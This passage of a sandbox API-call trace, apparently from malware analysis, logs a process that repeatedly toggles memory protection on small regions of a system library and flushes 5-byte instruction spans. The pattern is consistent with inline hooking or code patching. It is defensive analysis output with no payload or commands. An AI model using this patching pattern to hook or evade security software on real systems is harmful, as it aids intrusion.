NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd88, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd88, dwSize=0x5) returned 1 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd88, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fdb8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fdb8, dwSize=0x5) returned 1 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fdb8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.330] GetCurrentProcess () returned 0xffffffff [0093.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fe34, dwSize=0x5) returned 1 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409d4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773409d4, dwSize=0x5) returned 1 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409d4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.331] GetCurrentProcess () returned 0xffffffff [0093.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e44, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340e44, dwSize=0x5) returned 1 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e44, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341ea8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341ea8, dwSize=0x5) returned 1 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341ea8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.332] GetCurrentProcess () returned 0xffffffff [0093.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fca0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fca0, dwSize=0x5) returned 1 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fca0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff7c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ff7c, dwSize=0x5) returned 1 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff7c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.333] GetCurrentProcess () returned 0xffffffff [0093.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341c8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341c8c, dwSize=0x5) returned 1 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341c8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340218, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340218, dwSize=0x5) returned 1 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340218, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.334] GetCurrentProcess () returned 0xffffffff [0093.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b0c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340b0c, dwSize=0x5) returned 1 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b0c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffac, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ffac, dwSize=0x5) returned 1 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffac, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.335] GetCurrentProcess () returned 0xffffffff [0093.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fde8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fde8, dwSize=0x5) returned 1 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fde8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340f48, dwSize=0x5) returned 1 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341518, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.336] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341518, dwSize=0x5) returned 1 [0093.336] GetCurrentProcess () returned 0xffffffff [0093.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341518, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341b8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341b8c, dwSize=0x5) returned 1 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341b8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340804, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340804, dwSize=0x5) returned 1 [0093.337] GetCurrentProcess () returned 0xffffffff [0093.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340804, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffdc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ffdc, dwSize=0x5) returned 1 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffdc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734090c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734090c, dwSize=0x5) returned 1 [0093.338] GetCurrentProcess () returned 0xffffffff [0093.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734090c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340058, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340058, dwSize=0x5) returned 1 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340058, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fff4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fff4, dwSize=0x5) returned 1 [0093.339] GetCurrentProcess () returned 0xffffffff [0093.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fff4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fac8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fac8, dwSize=0x5) returned 1 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fac8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa18, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa18, dwSize=0x5) returned 1 [0093.340] GetCurrentProcess () returned 0xffffffff [0093.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa18, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341008, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341008, dwSize=0x5) returned 1 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341008, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa30, dwSize=0x5) returned 1 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.341] GetCurrentProcess () returned 0xffffffff [0093.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa80, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa80, dwSize=0x5) returned 1 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa80, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa98, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa98, dwSize=0x5) returned 1 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa98, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.342] GetCurrentProcess () returned 0xffffffff [0093.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fb30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fb30, dwSize=0x5) returned 1 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fb30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd3c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd3c, dwSize=0x5) returned 1 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd3c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0093.343] GetCurrentProcess () returned 0xffffffff [0093.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773401b4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773401b4, dwSize=0x5) returned 1 [0093.344] GetCurrentProcess () returned 0xffffffff [0093.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773401b4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, 